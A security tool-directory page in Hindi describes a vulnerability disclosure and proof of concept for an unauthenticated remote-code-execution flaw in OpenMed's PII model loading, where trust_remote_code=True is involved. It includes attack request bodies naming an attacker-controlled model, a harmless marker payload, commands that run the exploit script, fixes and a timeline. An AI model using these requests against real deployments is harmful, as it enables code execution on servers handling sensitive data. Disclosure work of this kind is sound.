Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-47117-openmed-rce — OpenMed < 1.5.2 में PII गोपनीयता-फ़िल्टर मॉडल लोडिंग और trust_remote_code=True के माध्यम से बिना प्रमाणीकरण के RCE | Kitploit
उपकरण/GitHubGitHub/saiteja-erukude/cve-2026-47117-openmed-rce
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगAI सुरक्षा
GitHubsaiteja-erukude/cve-2026-47117-openmed-rce

CVE-2026-47117-openmed-rce

OpenMed < 1.5.2 में PII गोपनीयता-फ़िल्टर मॉडल लोडिंग और trust_remote_code=True के माध्यम से बिना प्रमाणीकरण के RCE

रिपॉजिटरी देखें
225 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-47117: OpenMed में बिना प्रमाणीकरण के रिमोट कोड निष्पादन (PII मॉडल लोडिंग के माध्यम से)

गंभीरता: क्रिटिकल, CVSS 4.0 9.3, CVSS 3.1 9.8 (CNA के रूप में VulnCheck द्वारा निर्धारित)

वेक्टर (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

वेक्टर (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

प्रभावित: OpenMed < 1.5.2

समाधान संस्करण: 1.5.2

CWE: CWE-94 (कोड के जनरेशन का अनुचित नियंत्रण, कोड इंजेक्शन)

रिपोर्टकर्ता: Sai Teja Erukude

CNA: VulnCheck

प्रकाशित: 2 जून, 2026


सारांश

OpenMed 1.5.2 से पहले के संस्करणों में PII गोपनीयता-फ़िल्टर मॉडल लोडिंग पथ में बिना प्रमाणीकरण के रिमोट कोड निष्पादन भेद्यता मौजूद है।

REST API एंडपॉइंट POST /pii/extract और POST /pii/deidentify अनुरोध बॉडी से model_name मान स्वीकार करते हैं। कमजोर संस्करणों में, गोपनीयता-फ़िल्टर डिस्पैचर इस हमलावर-नियंत्रित मान पर व्यापक सबस्ट्रिंग मिलान करता था। इसलिए attacker/foo-privacy-filter-bar जैसा मॉडल नाम गोपनीयता-फ़िल्टर बैकएंड में रूट हो सकता था।

गैर-MLX/Torch तैनातियों पर, वह बैकएंड trust_remote_code=True के साथ Transformers के माध्यम से Hugging Face मॉडल आर्टिफैक्ट लोड करता था। यदि हमलावर-नियंत्रित मॉडल रिपॉजिटरी में config.json या tokenizer_config.json में auto_map के माध्यम से संदर्भित कस्टम Transformers कोड मौजूद होता, तो Transformers मॉडल या टोकनाइज़र लोडिंग के दौरान उस Python कोड को आयात और निष्पादित कर देता।

आयातित कोड OpenMed सेवा प्रक्रिया के विशेषाधिकारों के साथ निष्पादित होता था।

प्रभाव

OpenMed REST API तक पहुँचने वाला एक बिना प्रमाणीकृत रिमोट हमलावर model_name में दुर्भावनापूर्ण Hugging Face-शैली मॉडल पहचानकर्ता प्रदान करके सर्वर पर मनमाना Python कोड निष्पादित कर सकता है।

तैनाती के आधार पर, यह निम्न की अनुमति दे सकता है:

  • OpenMed प्रक्रिया के लिए सुलभ फ़ाइलों को पढ़ना या संशोधित करना।
  • पर्यावरण चर और एप्लिकेशन की गोपनीय जानकारी तक पहुँचना।
  • OpenMed होस्ट से पहुँच योग्य आंतरिक सेवाओं को कॉल करना।
  • एप्लिकेशन व्यवहार को बाधित करना या बदल देना।

प्रभावित एंडपॉइंट

यह समस्या दोनों PII एंडपॉइंट्स के माध्यम से पहुँच योग्य है क्योंकि दोनों model_name स्वीकार करते हैं और समान PII निष्कर्षण/मॉडल लोडिंग पथ का उपयोग करते हैं:

root@kitploit:~
POST /pii/extract
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}
root@kitploit:~
POST /pii/deidentify
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}

तकनीकी विवरण

कमजोर नियंत्रण प्रवाह में दो ट्रस्ट-सीमा विफलताएँ हैं:

  1. API ने गोपनीयता-फ़िल्टर बैकएंड का चयन करते समय उपयोगकर्ता-आपूर्ति किए गए model_name पर भरोसा किया।
  2. चयनित बैकएंड ने trust_remote_code=True के साथ Transformers आर्टिफैक्ट लोड करके रिमोट मॉडल रिपॉजिटरी कोड पर भरोसा किया।

डिस्पैचर ने privacy-filter युक्त किसी भी मॉडल पहचानकर्ता को गोपनीयता-फ़िल्टर परिवार का हिस्सा माना। इससे हमलावर-नियंत्रित पहचानकर्ता, उदाहरण के लिए attacker/foo-privacy-filter-bar, विश्वसनीय प्रथम-पक्ष गोपनीयता फ़िल्टर मॉडल के लिए निर्धारित कोड पथ तक पहुँच सकते थे।

वहाँ रूट होने के बाद, Transformers auto_map के माध्यम से हमलावर-नियंत्रित कस्टम कोड लोड कर सकता था। यह आयात मॉडल/टोकनाइज़र लोडिंग के दौरान होता है, इससे पहले कि कोई उपयोगी इन्फ़रेंस सफल हो। इसलिए एक प्रूफ पेलोड इतना छोटा हो सकता है:

root@kitploit:~
from pathlib import Path

Path("marker.txt").write_text(
    "custom Transformers code executed via trust_remote_code\n",
    encoding="utf-8",
)

प्रूफ ऑफ कॉन्सेप्ट

poc_exploit.py एक हानिरहित स्थानीय Hugging Face-शैली मॉडल निर्देशिका बनाता है जिसके नाम में privacy-filter होता है। जनरेट किए गए कस्टम Transformers मॉड्यूल आयात होने पर एक मार्कर फ़ाइल लिखते हैं। स्क्रिप्ट फिर उस निर्देशिका को model_name के रूप में एक परीक्षण OpenMed API इंस्टेंस को अनुरोध भेजती है।

कमजोर OpenMed संस्करणों पर अपेक्षित व्यवहार इस प्रकार है:

  1. API हमलावर-नियंत्रित model_name स्वीकार करता है।
  2. सबस्ट्रिंग रूटिंग इसे गोपनीयता-फ़िल्टर बैकएंड पर भेजती है।
  3. Transformers trust_remote_code=True के कारण जनरेट किए गए कस्टम मॉड्यूल को आयात करता है।
  4. मार्कर फ़ाइल बन जाती है, जो OpenMed सेवा प्रक्रिया में कोड निष्पादन साबित करती है।
  5. अनुरोध बाद में विफल हो सकता है क्योंकि खिलौना मॉडल वास्तविक गोपनीयता फ़िल्टर मॉडल नहीं है; आयात-समय मार्कर ही प्रासंगिक प्रमाण है।

केवल स्थानीय परीक्षण इंस्टेंस के विरुद्ध चलाएँ:

root@kitploit:~
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract

यदि OpenMed सेवा ऐसे स्थान पर चलती है जो जनरेट की गई स्थानीय निर्देशिका तक नहीं पहुँच सकता, तो एक समतुल्य परीक्षण मॉडल को नियंत्रित Hugging Face रिपॉजिटरी पर प्रकाशित करें और उस पहचानकर्ता को स्पष्ट रूप से पास करें:

root@kitploit:~
python poc_exploit.py \
  --target http://127.0.0.1:8000 \
  --model-name your-org/foo-privacy-filter-bar \
  --marker marker.txt

निवारण

OpenMed 1.5.2 या उसके बाद के संस्करण में अपग्रेड करें।

OpenMed 1.5.2 रूटिंग को विश्वास से अलग करता है:

  • privacy-filter युक्त मनमाने रिपॉजिटरी नाम अब विश्वसनीय गोपनीयता-फ़िल्टर पथ से रूट नहीं होते।
  • PrivacyFilterTorchPipeline में trust_remote_code का डिफ़ॉल्ट मान False है।
  • केवल स्पष्ट प्रथम-पक्ष गोपनीयता फ़िल्टर रिपॉजिटरी ही विश्वसनीय रिमोट-कोड लोडिंग के लिए अनुमत सूची में हैं।
  • जिन ऑपरेटरों को नियंत्रित निजी फाइन-ट्यून्स की आवश्यकता है, वे उन्हें OPENMED_TRUSTED_REMOTE_CODE_MODELS के साथ अनुमत सूची में जोड़ सकते हैं।

यदि तत्काल अपग्रेड संभव न हो:

  • कमजोर REST API को अविश्वसनीय क्लाइंट्स के लिए उजागर न करें।
  • उपयोगकर्ता-नियंत्रित model_name मानों को trust_remote_code=True के साथ Transformers को न पास करें।
  • सबस्ट्रिंग-आधारित मॉडल रूटिंग को सटीक विश्वसनीय मॉडल पहचानकर्ताओं से बदलें।
  • प्रोडक्शन में अनुमोदित स्थानीय मॉडल आर्टिफैक्ट प्रीलोड करें और मनमाने मॉडल डाउनलोड अक्षम करें।

प्रकटीकरण समयरेखा

दिनांकघटना
18 मई, 2026भेद्यता VulnCheck को प्रस्तुत की गई
20 मई, 2026VulnCheck ने समन्वित प्रकटीकरण संपर्क शुरू किया
22 मई, 2026CVE-2026-47117 को अनंतिम रूप से आवंटित किया गया
1 जून, 2026OpenMed 1.5.2 फिक्स की समीक्षा और पुष्टि की गई
2 जून, 2026CVE-2026-47117 प्रकाशित किया गया

श्रेय

Sai Teja Erukude द्वारा खोजा और रिपोर्ट किया गया, VulnCheck के माध्यम से समन्वित।

संदर्भ

  • CVE रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2026-47117
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47117
  • VulnCheck सलाह: https://www.vulncheck.com/advisories/openmed-remote-code-execution-via-pii-model-loading
  • OpenMed 1.5.2 रिलीज़ नोट्स: https://github.com/maziyarpanahi/openmed/releases/tag/v1.5.2
  • OpenMed परियोजना: https://github.com/maziyarpanahi/openmed
टूल डाउनलोड करें